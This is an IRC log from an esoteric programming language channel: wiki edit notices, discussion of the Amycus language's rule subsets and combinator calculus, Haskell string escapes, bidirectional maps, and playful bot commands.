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07:29:50  b_jonas: xxd
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08:15:56  oerjan: yes, that might be what I was thinking, and indeed it's similar: it doesn't have a builtin like the rule 5 of David's machine, but only a separate B-like composition builtin and a list-building builtin
08:22:07  Also, I was thinking more of David's language, and I definitely get the esoteric jive from it, so now I'm sure it's an esolang that deserves to be examined more.
08:27:33  mhm
08:29:18  [wiki] [[Brackit]] N http://esolangs.org/w/index.php?oldid=45472 * Blakusl * (+5757) Creating the page.
08:36:48  I'll have to write about it later.
08:40:01 -!- evalj has joined.
08:40:05  ] 12*-/(2-%:3)(^%])1+2*i.14
08:40:05  b_jonas: 3.14159
08:40:17  ] 1j15": 12*-/(2-%:3)(^%])1+2*i.14
08:40:18  b_jonas: *
08:40:22  huh?
08:40:30  ] 0j15": 12*-/(2-%:3)(^%])1+2*i.14
08:40:30  b_jonas: 3.141592653589794
08:40:32  right, that
08:40:49  ] 0j15": (($&0 12 0 _12%i.)28)p.2-%:3
08:40:50  b_jonas: 3.141592653589794
08:40:59  ] 0j15": o.1
08:40:59  b_jonas: 3.141592653589793
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09:38:14  https://www.codeeval.com/open_challenges/201/  i solved this but my solution is too slow  http://arin.ga/cZMwGs/raw
09:38:22  any hint to improve it?  :\
09:39:51  a better algorithm or i dunno
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10:12:29  [wiki] [[Amycus]] N http://esolangs.org/w/index.php?oldid=45473 * B jonas * (+4724) Created page with "'''Amycus''' is simple Turing-equivalent functional programming language defined by [[David Madore]] in [http://www.madore.org/~david/weblog/d.2015-11-16.2337.html#d.2015-11-1..."
10:14:17  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45474&oldid=45473 * B jonas * (+112) 
10:16:12  [wiki] [[Hyperamicus]] N http://esolangs.org/w/index.php?oldid=45475 * B jonas * (+2387) Created page with "'''Hyperamycus''' is a functional programming language defined by [[David Madore]] in [http://www.madore.org/~david/weblog/d.2015-11-16.2337.html#d.2015-11-16.2337 his 2015-11..."
10:20:30  [wiki] [[Hyperamicus]]  http://esolangs.org/w/index.php?diff=45476&oldid=45475 * B jonas * (+509) 
10:20:53  [wiki] [[David Madore]]  http://esolangs.org/w/index.php?diff=45477&oldid=8771 * B jonas * (+41) 
10:23:43  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45478&oldid=45474 * B jonas * (+335) 
10:25:31  Someone might want to check if what I write about Amycus makes sense.
10:25:59  If you've checked and it seems correct (in particular the transformation of lambda expressions to Amycus) please drop me a line.
10:29:42  [wiki] [[User:B jonas]]  http://esolangs.org/w/index.php?diff=45479&oldid=45458 * B jonas * (-139) 
10:32:31  [wiki] [[Brackit]]  http://esolangs.org/w/index.php?diff=45480&oldid=45472 * Blakusl * (+3151) 
10:39:51  [wiki] [[Brackit]]  http://esolangs.org/w/index.php?diff=45481&oldid=45480 * Blakusl * (+9) /* Objects */
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10:50:21  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45482&oldid=45478 * B jonas * (+856) 
10:50:37  wow HackEgo is fast
10:55:22  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45483&oldid=45482 * B jonas * (+15) 
10:59:39  izabera: The whole premise of the question is faulty; I don't remember forming the words "MOM", "DAD" or "TRAIN" with alphabet blocks. Sorry, can't help you there.
11:05:22  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45484&oldid=45483 * B jonas * (+870) 
11:05:50  fungot, we propose you to remind this time for a while.
11:05:50  Jafet: at least nobody fnord during kent's summary information) and parsing the useful bits for an instruction
11:23:12  Ok, now I need two more names. A name for the subset of Amycus without rule 2 and 4; and a name for the subset of Amycus where numbers and lists aren't equivalent.
11:23:51  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45485&oldid=45484 * B jonas * (+10) 
11:26:08  Maybe Amycus Sequentius for the former, and Amycus Bebryx for the latter.
11:33:21  or I could call the latter Amycus Severus, because it's strictly typed
11:35:37 -!- boily has joined.
11:37:05  and Amycus Sequenti for the first
11:37:51  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45486&oldid=45485 * B jonas * (+123) 
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11:51:50  [wiki] [[Amycus Severus]] N http://esolangs.org/w/index.php?oldid=45487 * B jonas * (+3284) Created page with "'''Amycus Severus''' is a Turing-equivalent functional programming language that is a restricted variant of [[Amycus]] by [[David Madore]].  == Definition == Amycus Severus ha..."
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12:58:30  ARGH I HAVE A BUG IN MY DESCRIPTION
12:58:36  I know how to fix it, but it takes some time.
13:00:43  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45488&oldid=45486 * B jonas * (+116) 
13:02:24  [wiki] [[Amycus Severus]]  http://esolangs.org/w/index.php?diff=45489&oldid=45487 * B jonas * (-58) 
13:03:40  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45490&oldid=45488 * B jonas * (+26) 
13:21:24  [wiki] [[Semantic Brain]] M http://esolangs.org/w/index.php?diff=45491&oldid=45466 * SilverWingedSeraph * (-1) Fix typos.
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13:27:58  [wiki] [[Semantic Brain]] M http://esolangs.org/w/index.php?diff=45492&oldid=45491 * SilverWingedSeraph * (+5) Fix vertical bar not being shown.
13:30:21  [wiki] [[Semantic Brain]]  http://esolangs.org/w/index.php?diff=45493&oldid=45492 * SilverWingedSeraph * (-3) Fix conflict in bitshift left and sum (master:eecd157)
13:30:54  [wiki] [[Semantic Brain]] M http://esolangs.org/w/index.php?diff=45494&oldid=45493 * SilverWingedSeraph * (+0) Fix cum. add. program to work with new addition symbol
13:31:23  [wiki] [[Semantic Brain]]  http://esolangs.org/w/index.php?diff=45495&oldid=45494 * SilverWingedSeraph * (+0) 
13:39:45  [wiki] [[Semantic Brain]] M http://esolangs.org/w/index.php?diff=45496&oldid=45495 * SilverWingedSeraph * (+28) 
13:47:52  OH! also, I'm completely wrong
13:47:57 -!- Welo has joined.
13:47:58  you can't even nth a tuple in Amycus
13:48:03  at least not in the obvious way
13:48:20  I think you need the eval rule for it
14:29:54  I'm still fixing it
14:30:01  it's more complicated to describe properly than I thought
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14:34:45  Hyperamycus or Hyperamicus? the Amycus article links to both; one is a red link
14:34:48  which is probably bad
14:41:24  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45497&oldid=45490 * B jonas * (+2185) fix description of how to transform lambda expressions (tbc)
14:42:54  @tell boily would the translated chicken be moved to the other side of the road?
14:42:54  Consider it noted.
14:47:13  "If you wish to join the ?GREAT ILLUMINATI WORLD WIDE?AND BECOME RICH, AND HAVE FAME IN LIFE Contact Us via email: illuminaticonfraternity@aol.com for more information"
14:47:19  How the mighty have fallen.
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15:34:30  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45498&oldid=45497 * B jonas * (+3805) 
15:35:32  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45499&oldid=45498 * B jonas * (+0) 
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15:36:20  sic transit gloria mundi
15:36:44  should be much better, though still needs minor fixes from me, and then finding the errors by you
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15:43:47 * oerjan is now using a rented laptop while his own is on service
15:44:10  i see i've got a mail that they found a hard disk sector error
15:45:22  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45500&oldid=45499 * B jonas * (+64) 
15:46:14  which is good news: the warranty should cover it; bad news: according to what was said at the shop, it might then take an extra week.
15:46:41  oerjan: do you understand enough about combinator calculus to know that version with B and C and whatever else as base instead of S? If so, maybe you can tell why rule 0 isn't needed for Amycus.
15:47:05  i haven't looked at those rule 0 etc. things.
15:47:13  Also, if any of you want to read my writeup about Amycus to tell where I'm writing nonsense, feel free.
15:47:25  but it's BCKW, isn't it
15:47:31  no idea
15:47:36  I think there's more than one base
15:47:44  W f x = f x x, if my recall is right
15:47:47  I'll have to look it up in the bird book
15:47:55  ok, and what is C?
15:48:09  B is like B x y z = x (y z) if I understand right
15:48:54  C x y z = x z y, i think
15:48:58  i.e. flip
15:49:04  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45501&oldid=45500 * B jonas * (+4) 
15:50:03  https://en.wikipedia.org/wiki/B,C,K,W_system
15:50:16  each of B and C is restricting one of the arguments of S to not being applied to z
15:51:38 * oerjan was worried for a moment when the rented laptop asked for an admin password (which i don't have) to run the putty installer. fortunately just copying putty.exe worked instead.
15:53:30 * oerjan is giving Edge a second chance since he's on a laptop that doesn't contain any of his IE settings anyway.
15:53:50  they seem to have added some tooltips.
15:57:03  We probably hvae to figure this out fast (in a day or two), because if we don't, then knowing David, he might come up with a ten page long essay clearly explaining the answer, with a detailed introdcution to BCKW calculus to laymen.
15:58:35  And if he doesn't, then ais523 will give an answer in a few weeks.
15:58:45  it doesn't matter, it will be in french anyway
15:59:11  oerjan: no, when I ask questions in English, David usually answers in English. 
15:59:19  aha
16:00:16  If I understand correctly, David Madore is native bilingual French and English, and also a polyglot who cares about lots of other languages.
16:02:06  Mind you, if ais523 answers it, then the answer will be a four line solution with a minimal translation from BCKW or some such thing to Amycus-Sequenti without rule 0, not a detailed essay of the background.
16:05:11  um have you ever seen ais523 write
16:05:57  oerjan: yeah, probably not really that dense
16:06:04  this laptop has too coarse brightness settings :(
16:06:16  I keep having that problem with the volume setting on everything
16:06:34  why can't there be five volume buttons, for fast increase, fast decrease, fine increase, fine decrease, mute?
16:07:19  (where if you press mute, then press mute again, then it unmutes to the previous level, but if you instead mute then press increase then it increases starting from zero)
16:08:16  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45502&oldid=45501 * B jonas * (+62) 
16:10:42  [wiki] [[Amycus Severus]]  http://esolangs.org/w/index.php?diff=45503&oldid=45489 * B jonas * (+12) 
16:16:27  [wiki] [[Hyperamicus]]  http://esolangs.org/w/index.php?diff=45504&oldid=45476 * B jonas * (+124) /* Notes */
16:16:52  You know, "increase-when-muted is increase-from-zero" is a great idea actually...
16:17:53  FireFly: that behavior already exists in some switches.  It's the fine and fast controls that aren't used much, and especially not in sound volume controls.
16:18:12  Nod
16:18:28  I think some television sets increase from zero after mute, and the dimmer light switche in my room also does that.
16:19:29  I think some of the volume and brightness controls are deliberately restricted from below so they don't have to solve dumb customer service problems like "the monitor doesn't work" => "turn on the brightness".
16:19:45  Bah, most people only need two buttons: increase sound power and decrease sound power.
16:20:31  A good knob/wheel would cater for both purposes I think
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16:22:12  Jafet: no, I need a full turing-complete perl scriptable interface for volume control with a real keyboard and large monitor.
16:22:17  with increase/decrease buttons I find it to take a while to get used to how much a single press affects the current level
16:22:55  (there is also software where the increase is linear, instead of exponential)
16:25:06  Ok, I'll probably have to look this up in the bird book to understand how this BC stuff works, AND try to figure it out if I can do abstraction elimination without rule 0 that way.
16:26:21  If I fail, I'll have to wait for David or ais523
16:29:29  I might also have to implement this transformation stuff, plus write some sample programs, to verify my arguments.
16:32:14  hmm... actually
16:32:52  89+56+2
16:32:59  Aaah
16:33:07  I dunno
16:33:14  [ 89+56+2
16:33:14  b_jonas: 147
16:33:17  I was tapping on the num pad and my hand was further right than I thought
16:33:20 -!- mroman has joined.
16:33:22  fnord
16:33:49  Fnord
16:38:13  Maybe it's possible to directly transform S and K to Amycus somehow, in some representation.
16:39:11 -!- Hoolootwo has quit (Ping timeout: 264 seconds).
16:39:26 -!- Hoolootwo has joined.
16:39:49 -!- rdococ has joined.
16:43:51  Or maybe it's better to transform B, C, K, W directly?
16:44:39  or more, (Bxy), (Cx), (Kx), (Wx) or something like that, whatever is enough for the abstraction elimination
16:45:03  I'll need to read how the abstraction elimination to BCKW works
16:47:05  let me think. if you don't use rule 2, then rule 5 is the only way to build a new tuple. how can we get that tuple out of it apart from by <5, <0>: r>?
16:48:02  the rule is E(<5, q, p1, …, pn>, x) = E(q, ) 
16:48:53  now if head q is 1, the tuple is thrown away; if head q is 2, the tuple is completely dismantled so building it has no point; 
16:49:07  s/head q is 2/head q is 3/
16:49:37  that leaves head q as 5 or 6. Is 5 enough?
16:50:56  with head q = 5, you recursively get the same problem, one level inside, I think
16:51:27  so you can use some nested levels of <5, q: p> but eventually you have to use rule 6 somehow
16:51:55  but rule 6 isn't ok either, it also immediately dismantles the lits.
16:52:20  Then I think rules 1, 3, 5, 6 aren't enough for Turing-completeness.
16:52:33  Rule 4 doesn't help there.
16:52:49  And rule 2 alone is very unlikely to help, and is almost certainly not what David thouhgt
16:53:12  This means I'll have to examine and debug that example program David wrote.
16:53:40  Although that one might also be using rule 0, because it does have an (1 0) in it
16:54:02  <1, 0> or <5, <0>> are two ways to generate a zero
16:54:51  But it looks as if he was using the constant 0 only for the arithmetic,. 
16:54:53  Strange.
16:55:08  Maybe it's a simple program that doesn't demonstrate enough of Turing?
16:55:21  But it does recursion, so it has to do _something_.
16:55:31  Yesterday someone seemed kind of unnerved when I explained that numeric char escapes in Haskell are variable-length.
16:56:01  Can the language still be turing-complete if you can't build new tuples? Unlikely.
16:57:51  Oh....!!!
16:58:07  no... that can't work even that way
16:58:17  no way
16:58:34  I think I'm really misunderstanding something about this language, and should check by debugging later.
17:00:26  Maybe he's building tuples, but never returns them, but only passes them through rule 5 to other rule 5 and eventually to rule 6? But even then, that can't work.
17:01:15  Or can it?
17:01:19  Crazy
17:03:01 -!- zadock has joined.
17:06:41  b_jonas: hmm, here's how you might get the identity from recursion and successor: f  |-> if a = b then c else f ; start with f <1,n+1,0>
17:07:12  but I have not thought this through to the end.
17:13:53  Melvar: did you tell them about \& ?
17:14:04  Yes.
17:15:12 -!- Vinegar has joined.
17:15:28  And I tried to explain about \SO and \SOH but he wasn’t interested.
17:15:36  huh this keyboard seems to be set to norwegian but the main markings are swedish.
17:16:22  > "ä0"
17:16:24   "\228\&0"
17:16:40  "\SO" ++ "H"
17:16:46  > "\SO" ++ "H"
17:16:47   "\SO\&H"
17:16:51  Exactly.
17:17:40  I had to translate this Show instance for Idris, it looks kinda goofy with the special cases.
17:18:04  @check \x y -> show (x++y :: String) == init (show x) ++ tail (show y)
17:18:07   *** Failed! Falsifiable (after 5 tests and 5 shrinks):
17:18:07   "\ETX?Z\227" "3L\NAK\DLE"
17:18:41  me thinks it isn't shrinking hard enough
17:20:31 -!- zadock has quit (Quit: Leaving).
17:20:50  By the way, my current Idris project is a thing that will hopefully allow one to type-provide C types into an Idris program.
17:21:06 * oerjan already found enough new annoying quirks in Edge to go back to IE again
17:21:51  If I work really hard at it, it may end up being possible to transport in a C function without ever specifying its type manually.
17:23:36  in the end idris accidentally becomes a type-safe full C compiler
17:30:36  \SO vs. \SOH vs. \SO\&\H seems kind-of silly to me
17:31:10  Although I suppose it makes sense if one really wants named escapes for all ASCII control characters
17:31:35  __sync built-ins make no sense except on itaniums, or I'm a mistaken there?
17:31:52  all the other architectures have hardware chache protocols that makes them in-sync
17:31:55  *cache
17:33:56  > '\NL'
17:33:58   :1:3:
17:33:58       lexical error in string/character literal at character 'N'
17:34:05  > '\LF'
17:34:06   '\n'
17:34:10  That was it.
17:36:05  > '\x110000'
17:36:07   :1:9: numeric escape sequence out of range at character '0'
17:37:04  > '\n'
17:37:06   '\n'
17:48:14 -!- hppavilion[1] has joined.
17:49:17  I had an idea
17:50:05  But I need some terminology
17:50:47  What's the proper term for a map where keys are values and values are keys; essentially, if m[k] = v, m[v] = k
17:51:28  Doesn’t that in general have to be a pair of maps?
17:51:31  so a bi-directional map
17:51:46  with forward and reverse lookup
17:52:21  Forming a partial bijection?
17:52:26  I think they are called bidirectional maps.
17:52:31  mroman: Not necessarily forward and reverse lookup; every value needs to be unique.
17:52:50  mroman: OK. I'll stick with that. I've been calling them Symmetric Dicts, but that might be a term for something else.
17:52:53  https://en.wikipedia.org/wiki/Bidirectional_map
17:52:57  It's got a WP article.
17:52:58  so...
17:53:15  OK, that's what it is.
17:53:24  I didn't know what to google to find the wiki article xD
17:53:37  forward lookup is key -> value, reverse lookup is value -> key
17:53:44  at least that's the terminology I use.
17:53:53  Why the hell would one call that a “hash bag” …
17:54:01  because
17:54:03  of hash bagging
17:54:24  A bag is already a thing that could be implemented with hashing.
17:54:42  The practice of dangling your hash tables in someone's face.
17:54:45  mroman: I do use it in a language I'm making called Kastor; you can have maps of the syntax {key<=>value, key2<=>value, etc.}
17:54:53  As well as normal maps with :
17:55:02  And something else I'm formulating with =>
17:55:18  And the outer brackets change whether it's ordered or not
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18:13:38  [wiki] [[Symmetry]] N http://esolangs.org/w/index.php?oldid=45505 * Hppavilion1 * (+2885) Tokens
18:14:58  [wiki] [[Symmetry]]  http://esolangs.org/w/index.php?diff=45506&oldid=45505 * Hppavilion1 * (+17) Fixed formatting
18:20:32 -!- oerjan has quit (Quit: Nite).
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19:07:36  [wiki] [[Semantic Brain]]  http://esolangs.org/w/index.php?diff=45507&oldid=45496 * SilverWingedSeraph * (+15) Fix cumulative addition program to not be quite as broken.
19:09:44 -!- Welo has joined.
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19:44:15  [wiki] [[Symmetry]]  http://esolangs.org/w/index.php?diff=45508&oldid=45506 * Hppavilion1 * (+596) Grammar, functions
19:44:43  [wiki] [[Symmetry]]  http://esolangs.org/w/index.php?diff=45509&oldid=45508 * Hppavilion1 * (+1) /* Grammar */ Formatting
19:49:02  int-e, oerjan, ais523 (if he's here): I was thinking more about the Amycus language, and it's VERY interesting, for all the good and esoteric reasons
19:49:31  in particular, if you start restricting it by omitting rules from Amycus or from Amycus Severus, you get interesting and different subsets
19:49:36  I'll try to describe these later
19:49:42  I found some very interesting things
19:51:10  Specifically, David writes both that rule 0 is probably not needed and that programming Amycus is somewhat similar to programming unlambda. It turns out that these are true separately, but not together: programming Amycus without rule 0 is no longer similar to programming unlambda
19:51:56  Omitting rule 0 but keeping rule 2 and 4 still results in a Turing-complete language, but one where you can't just translate lambda expressions the way I did, 
19:52:44  because it can no longer manipulate recursive tree structures (of lists or functions), but can still manipulate numbers (arbitrarily large) enough to get at least something like fractran.
19:53:34  If you omit rule 0 and 2, you get something that is no longer Turing complete, and it's in a sense exactly primitive recursive,
19:53:54  in an interesting way.
19:54:11  That's still true if besides 0 and 2, you omit 4 and make the language Severus.
19:54:38  I was also thinking of omitting rule 1, which has interesting consequences as you combine with the variants, but I don't completely see all combinations.
19:55:29  I think omitting any of rule 3, 5, 6 probably immediately reduces the language to not powerful enough, but I'm not quite sure in this.
19:57:41  You have 9 rules to start from (the 8 numbered rules, plus the Severus variant), can try to keep any subset of them, and examine the resulting language.
19:59:44  Argh, I messed up, I randomly call the hyper language Hyperamicus and Hyperamycus. It should be the latter.
20:00:22  [wiki] [[Hyperamicus]]  http://esolangs.org/w/index.php?diff=45510&oldid=45504 * B jonas * (+0) spelling
20:00:30  [wiki] [[Special:Log/move]] move  * B jonas *  moved [[Hyperamicus]] to [[Hyperamycus]]
20:00:59  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45513&oldid=45502 * B jonas * (+0) spelling
20:01:09  I always have trouble with words that contain "y" as a vowel.
20:05:50 -!- Welo has quit (Quit: Leaving).
20:07:38 -!- mauris_ has changed nick to mauris.
20:09:53 -!- Patashu has joined.
20:11:07  Whoo!
20:11:10  WalText2i works!
20:11:13 * hppavilion[1] celebrates
20:11:30  Now I have to convert every single font for WalText2 to it!
20:11:32  Yay!
20:11:50  [wiki] [[Brackit]]  http://esolangs.org/w/index.php?diff=45514&oldid=45481 * Blakusl * (+943) /* Parsing */
20:12:30  I think I might right a converter xD
20:20:30  hppavilion[1]: what's that?
20:20:45  *write
20:20:53  b_jonas: It's a text renderer for WalrusOS
20:21:50  er ok...
20:21:56  what does it do?
20:22:01  `? waltext
20:22:03  waltext? ¯\(°​_o)/¯
20:22:07  `? waltext2i
20:22:08  waltext2i? ¯\(°​_o)/¯
20:22:19  b_jonas: it renders text, duh
20:23:13  hppavilion[1]: do you have any new sample output screenshots?
20:23:40  Yes
20:23:57  b_jonas: Not yet
20:24:09  And I think imgur is blocked on my School Wifi
20:24:34  b_jonas: Yep. I'll get a screenshot when I'm on unfiltered wifi.
20:26:27  b_jonas: Would you like to see an example of font code?
20:26:36  line 0 0+16i / line (-2~2)+19i 21i
20:30:59 -!- rdococ has quit (Read error: Connection reset by peer).
20:32:53  Yay! I got i working!
20:43:00  github's new look is cooool
20:55:32  awkward moment when two complete strangers star my random brainstorms on github and i don't even know why
21:05:37  izabera: What new look?
21:06:08  https://github.com/blog/2085-a-new-look-for-repositories
21:07:01  izabera: Ah. Doesn't look too much different to me xD
21:10:02  [wiki] [[Amycus Severus]]  http://esolangs.org/w/index.php?diff=45515&oldid=45503 * B jonas * (+375) 
21:14:49 -!- Lord_of_Life has quit (Excess Flood).
21:15:02  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45516&oldid=45513 * B jonas * (+446) 
21:16:30 -!- Lord_of_Life has joined.
21:16:36  I'm still editing this stuff
21:16:43  I have a lot to say, and might not say all of it today
21:16:52  Amycus proved to be really interesting
21:30:12 -!- bb010g has quit (Quit: Connection closed for inactivity).
21:34:40 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
21:38:57  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45517&oldid=45516 * B jonas * (+326) 
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21:55:58 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
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21:57:53  [wiki] [[Brackit]]  http://esolangs.org/w/index.php?diff=45518&oldid=45514 * Blakusl * (+2253) /* Input/Output */
21:58:59  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45519&oldid=45517 * B jonas * (+196) 
22:03:10  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45520&oldid=45519 * B jonas * (-13) 
22:03:39  [wiki] [[Amycus Severus]]  http://esolangs.org/w/index.php?diff=45521&oldid=45515 * B jonas * (-4) 
22:08:47 -!- hppavilion[1] has joined.
22:14:18 -!- hppavilion[1] has quit (Ping timeout: 265 seconds).
22:23:36  wat
22:24:42  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45522&oldid=45520 * B jonas * (+582) 
22:43:50 -!- Vinegar has quit (Ping timeout: 240 seconds).
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23:04:23  [wiki] [[Brackit]]  http://esolangs.org/w/index.php?diff=45523&oldid=45518 * Blakusl * (+1113) /* Loops */
23:05:17  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45524&oldid=45522 * B jonas * (+1845) 
23:05:32  [wiki] [[Brackit]]  http://esolangs.org/w/index.php?diff=45525&oldid=45523 * Blakusl * (-17) /* Input/Output */
23:06:58 -!- hppavilion[1] has joined.
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23:15:38 -!- shikhin has changed nick to shikharound.
23:15:50 -!- shikharound has changed nick to shikhin.
23:20:21 -!- boily has joined.
23:31:06 -!- shikhin has changed nick to driyoyleujiy.
23:31:11 -!- driyoyleujiy has changed nick to shikhin.
23:33:05 -!- shikhin has changed nick to FireyFly.
23:33:18 -!- FireyFly has changed nick to shikhin.
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23:58:01  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45526&oldid=45524 * B jonas * (+1062) 
23:58:19  this was horrible
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2015-11-19:

00:01:03  b_jhellonas. unuglifying the wiki?
00:01:09  @massages-loud
00:01:09  oerjan said 21h 24m 17s ago: no, my computer _is_ still working enough to copy more
00:01:10  int-e said 9h 18m 15s ago: would the translated chicken be moved to the other side of the road?
00:01:30  boily: unuglifying AND adding new content
00:01:43  int-ello. only if the road is affine.
00:01:54  b_jonas: Ō_Ō!
00:04:17  boily: Amycus is a new language (as in, it was published a few days ago), and has some very interesting properties that I'm still trying to figure out
00:04:30  I've already figured out a lot, but not everything of course
00:04:46  (you probably can't figure out everything, because it's an expressive enough programming language)
00:05:42  and figuring everything probably is isomorphic to the halting problem.
00:08:23  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45527&oldid=45526 * B jonas * (+17949) 
00:08:38 -!- ent0nces has joined.
00:09:16 -!- ent0nces has quit (Client Quit).
00:11:22  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45528&oldid=45527 * B jonas * (-18043) 
00:11:34 -!- ent0nces_ has quit (Ping timeout: 260 seconds).
00:19:49 -!- Vinegar has joined.
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00:29:24  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45529&oldid=45528 * B jonas * (+746) 
00:32:18  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45530&oldid=45529 * B jonas * (+0) 
00:39:50 -!- hppavilion[1] has joined.
00:44:31  [wiki] [[Amycus]]  http://esolangs.org/w/index.php?diff=45531&oldid=45530 * B jonas * (+107) 
00:49:36  [wiki] [[Brackit]]  http://esolangs.org/w/index.php?diff=45532&oldid=45525 * Blakusl * (+508) /* Interpreters */
00:49:59  [wiki] [[Brackit]]  http://esolangs.org/w/index.php?diff=45533&oldid=45532 * Blakusl * (+6) /* Interpreters */
00:53:15  [wiki] [[BotEngine]]  http://esolangs.org/w/index.php?diff=45534&oldid=45304 * 69.138.247.193 * (+16) Added second infinite loop option
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01:33:20  boily!
01:33:25  quintopia!
01:33:47  i hope you dont mind my golfing all the aubergine examples
01:34:02  im thinking about aubergine derivatives
01:34:16 * boily feels all warm and fuzzy ^^
01:34:23  gâte-toé!
01:34:23  did you realize the : is not necessary for TCness?
01:34:30  eh?
01:34:55  with =i you can do computed gotos
01:36:11  heh.
01:37:30  I feel like I need to create another esoteric language.
01:37:58  questions:
01:38:12  why is o only available in =
01:39:40  because lazyness, p < 0.05.
01:39:48  w
01:40:18  i had to add extra code to prevent o being used elsewhere.
01:40:28  in python interp
01:40:38  why not I and O?
01:41:21  because extreme laziness :D
01:41:30  (did you just laugh with w?)
01:41:47  Hmmmmm. Hmmmmmmmmm.
01:42:01  tswellott. hmm?
01:42:15  Trying to think of esolang ideas.
01:42:26  Man, /// has got to be one of the best esolangs of all time.
01:43:17  @tell oerjan HAH!
01:43:17  Consider it noted.
01:44:07  @tell oerjan (uhm. disregard the previous HAH. I'm still having trouble with your family name not being Johansen.)
01:44:07  Consider it noted.
01:45:09  Neural nets are all the rage, right? Could I make an esolang based on backpropagation?
01:46:12  boily: i'm going to make like five aubergine derivatives :p
01:48:15  Here we go. Thue where instead of a string, you have a portion of a virtual knot. The generalized Reidemeister moves are implicit.
01:48:18  There, there's the language.
01:48:26  Someone write the spec please thanks.
01:49:29  potential names: Anatabine, cuscohygrine, solauricidine, solauricine, tomato, potato, datura, hyoscyameæ...
01:50:05  `cat bin/coins
01:50:06  words ${1---eng-1M --esolangs 20} | sed -re 's/( |$)/coin\1/g' | rainwords
01:51:25  `file bin/langs
01:51:26  bin/langs: ERROR: cannot open `bin/langs' (No such file or directory)
01:51:28  `run echo 'words ${1---eng-1M --esolangs 20} | sed -re '\''s/( |$)/lang\1/g'\' > bin/langs
01:51:30  No output.
01:51:31  `langs
01:51:32  ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/bin/langs: Permission denied \ /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: /hackenv/bin/langs: cannot execute: Permission denied
01:51:39  `run chmod +x bin/langs
01:51:41  No output.
01:51:41  `langs
01:51:44  ddrenlang justoelang stalang suzylang wikingarchalang nandmuralang fureheanalang drailang baktariolang unineanitestelysinglefootorycogsdaulang spagheadlang kipjlang skolang maddulang tyalang toilang verblang malitylang syncorrlang agrava2klang
01:52:02  Unineanitestelysinglefootorycogsdaulang.
01:52:22  Or maybe I should call it "oh nooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooodland".
01:52:58  is that like CHEF but it has an extra instruction for leaving the cake out in the rain?
01:53:59  speaking of long ooooooooo names: who has nooodl morphed into again?
01:54:24  `? nooooodl
01:54:25  noooodl is the correct spelling
01:54:37  `? maur
01:54:37  maur? ¯\(°​_o)/¯
01:54:41  `? mauris
01:54:43  maur is the correct spelling
01:55:21  thachaf.
01:55:47  boily: you can reward me with a pooch pic hth
01:56:10  `thanks noooooooooooooooooooooooooooooooooooooooooooooooooooooooodland
01:56:11  Thanks, noooooooooooooooooooooooooooooooooooooooooooooooooooooooodland. Thoooooooooooooooooooooooooooooooooooooooooooooooooooooooodland.
01:56:32  boily: maybe aubergine-0, aubergine unlimited or just "Purple"
01:56:53  There's a song about potatoes, tomatoes, gravy and peas.
01:56:59  @google potatoes tomatoes gravy and peas
01:57:00  https://www.youtube.com/watch?v=W6R5x1VP2b4
01:57:07  shachaf: did you watch the video I posted yesterday? it has wigged pooches. https://www.youtube.com/watch?v=Seh9_sFv1Z4
01:57:42  quintopia: Purple.
01:58:44  boily: un cabot perruque?
02:00:30  «un cabot à perruque».
02:00:54  un pooch à wig
02:01:29  It turns out that the pooch game is wigged against you.
02:02:33 * boily thwacks shachaf with a sailor moon wigged mapole
02:04:21  that is a juwy-wigged contwaption
02:04:40  in the name of the Moon Moon, please stop!
02:06:58 -!- Vinegar has quit (Ping timeout: 260 seconds).
02:10:16  Un film à clef.
02:10:44 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
02:10:49  Limité à gauche.
02:10:57 * boily grabbes la clef à tswett to thwacke shachaf avec
02:11:07  limité à gauche?
02:11:33  ATWP I got it wrong. It's "limite à gauche".
02:11:51  tdnrh...
02:12:01  Limited to the left.
02:14:20  what is being limited to the left?
02:14:47  E que voyer. Bonne fortune. Parlaz français mais bon que je, porquoi je simplement supone.
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02:16:07  tswett uses confusion. it's super effective.
02:17:25  what
02:17:31  you're never online when work is over
02:17:35  WHAT IS THIS MADNESS
02:19:23  i'm going to write the laziest version of aubergine: dedicated symbols for commands, all alphabet is registers and can be dereferenced. Due to lack of restrictions, implemementation could be cgolfed to a few short lines.
02:20:29  And then extend it: all digits represent themselves, all symbols that look like standard operations are commands that do those things
02:20:41  this sounds like betterave...
02:21:00  betterave is self-modifying?
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02:21:18  uuuh... nope.
02:22:32  this would definitely be auberginey
02:22:44  still very few commands, still only 2-arity
02:23:04  still entirely proceural
02:23:28  but just set up to make the interpreter as small as possible
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02:23:48  (and removing some annoying limitations)
02:23:59  also are you on my half of this netsplit?
02:24:08 -!- Melvar has joined.
